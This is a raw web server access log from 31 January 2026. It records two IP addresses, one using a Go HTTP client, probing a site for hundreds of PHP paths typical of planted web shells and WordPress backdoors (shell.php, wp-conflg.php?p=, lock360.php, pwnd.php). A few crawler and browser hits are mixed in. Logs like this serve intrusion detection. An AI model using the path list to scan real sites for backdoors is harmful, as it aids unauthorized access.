[31/Jan/2026:18:59:55 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:57 +0300] "GET /errorfile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:46 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:47 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:50 +0300] "GET /about3.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:53 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:07 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:11 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:15 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:28 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:47 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 69.171.231.112 - - [31/Jan/2026:18:55:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 4.217.217.16 - - [31/Jan/2026:18:55:37 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:43 +0300] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:13 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:17 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:39 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:06 +0300] "GET /class-wp.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:10 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:14 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:56 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:00 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:03 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:06 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:04:36 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 85.203.23.205 - - [31/Jan/2026:19:17:09 +0300] "GET /nrhogjyecktixbal0fnt5Cakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:13 +0300] "GET /znv3hcxz6mwjdz1jwxrxiCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:18 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:18 +0300] "GET /deepseek_d.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:24 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:24 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:29 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:29 +0300] "GET /pu9.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:34 +0300] "GET /uk5pqv0wksbuaourleCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:38 +0300] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:43 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:48 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:53 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:53 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:17:56 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:01 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:06 +0300] "GET /file_content_657f93f532f3b/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:11 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:16 +0300] "GET /num.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:21 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:21 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:26 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:26 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:31 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:36 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:40 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:40 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:44 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:48 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:54 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:18:59 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:04 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:09 +0300] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:14 +0300] "GET /wp-content/plugins/aatdgetgdg/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:19 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:19 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 4.217.217.16 - - [31/Jan/2026:18:53:13 +0300] "GET /gool.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:17 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:46 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:29 +0300] "GET /33.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:03 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 69.171.231.26 - - [31/Jan/2026:18:55:25 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 4.217.217.16 - - [31/Jan/2026:18:56:52 +0300] "GET /fffff.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:58 +0300] "GET /hk.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:01 +0300] "GET /cccc.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:17 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:21 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:22 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:27 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:31 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:00 +0300] "GET /mpxct.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:59:19 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:38 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:44 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:03 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:14 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:17 +0300] "GET /ilex.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:51 +0300] "GET /555.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:30 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:54 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:58 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:38 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:55:17 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:02 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:05 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:33 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 49.51.253.83 - - [31/Jan/2026:19:01:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.217.217.16 - - [31/Jan/2026:19:02:41 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:44 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:48 +0300] "GET /alpa.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:51 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:55 +0300] "GET /fileas.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:59 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:03 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:21 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:41 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:52:47 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:06 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:30 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:53:34 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:54:08 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:56:36 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:39 +0300] "GET /mlex.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:57:56 +0300] "GET /enclas.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:00 +0300] "GET /thxt.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:05 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:18:58:44 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:23 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:23 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:00:27 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:12 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:01:29 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:28 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:02:31 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:10 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:26 +0300] "GET /filesss.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:40 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 4.217.217.16 - - [31/Jan/2026:19:03:46 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 85.203.23.205 - - [31/Jan/2026:19:19:24 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:24 +0300] "GET /wp-includes/Text/Diff/Engine/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:29 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:30 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:34 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:34 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:39 +0300] "GET /wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:44 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:49 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:54 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:55 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:19:59 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:04 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:09 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:09 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:14 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:15 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:20 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:25 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:30 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:35 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:40 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:45 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:50 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:55 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:55 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:20:59 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:04 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:04 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:05 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:10 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:15 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:15 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:20 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:25 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:28 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:28 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:28 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:29 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:29 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:33 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:38 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:43 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:43 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:43 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:44 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:45 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:46 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:49 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:53 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:55 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:21:57 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:00 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:03 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:03 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:06 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:10 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:10 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:10 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:11 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:11 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:11 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:16 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:17 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:17 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:22 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:26 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:31 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:36 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:36 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:36 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:38 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:39 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:43 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:44 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:44 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:44 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:46 +0300] "GET /wp-includes/fonts/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:50 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:50 +0300] "GET /wp-content/themes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:55 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:57 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:58 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:58 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:59 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:22:59 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:03 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:08 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:08 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:09 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:14 +0300] "GET /wp-admin/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:19 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - 